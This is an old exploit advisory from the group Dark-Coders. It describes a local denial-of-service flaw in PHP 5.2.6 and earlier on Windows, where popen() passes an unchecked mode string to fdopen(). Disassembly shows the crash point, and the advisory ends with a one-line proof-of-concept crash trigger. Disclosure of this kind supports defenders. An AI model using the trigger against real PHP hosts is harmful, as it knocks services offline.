#############################################################################################
# #
# PHP <= 5.2.6 Win32 popen() (php5ts.dll) Local Denial of Service Exploit #
# #
# Desc: Flaw in popen() from php5ts.dll Win32 #
# Discovered: Bug oryginnally discovered by c0ndemned. #
# Others: Some reverse engineering stuff done by suN8Hclf and 0in. #
# Visit: Visit us at www.dark-coders.pl #
# #
#############################################################################################
The popen() function simply creates a one-way pipe to the process runned by forking.
It takes two parameters: a name of the process and a char determining the access rights.
But when we pass the second argument different from 'a', 'r' and 'w' it creates the
pipe and then... it crushes dwon. It does it while executing _fdopen() from MSVCRT.dll.
On Windows 2000 SP 4 Polish the memory violation is while writing to 0x00000028:
(from ntdll.dll):
77F89134 > $ 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4]
77F89138 . 33C0 XOR EAX,EAX
77F8913A . FF4A 08 DEC DWORD PTR DS:[EDX+8] <-- here is the memory violation
and EDX is ALWAYS SET TO 0x00000020...
The main problem in popen()'s implementation is that, it does not check whether the
second argument is 'a', 'r' or 'w' and it simply passes it to the fdopen(). But there
is an exception. If we pass, for example 'aaaaaa', it wont couse an exception. Why???
Here is some fdopen() code:
78020D48 3C 61 CMP AL,61 <-- if 'a'
78020D4A 74 70 JE SHORT MSVCRT.78020DBC
78020D4C 3C 72 CMP AL,72 <-- if 'r'
78020D4E 74 23 JE SHORT MSVCRT.78020D73
78020D50 3C 77 CMP AL,77 <-- if 'w'
78020D52 74 68 JE SHORT MSVCRT.78020DBC
As you can see, there are some conditional jumps. And if the FIRST letter from the
string is equal to 'a', 'r' or 'w' it is good.
Proof of Concept Exploit:
<?php popen('', 'b'); ?>
Lots of thanks to All DaRk-CodeRs guys, str0ke, zbt, ixos, Katharsis, Ola N & Agnieszka C :*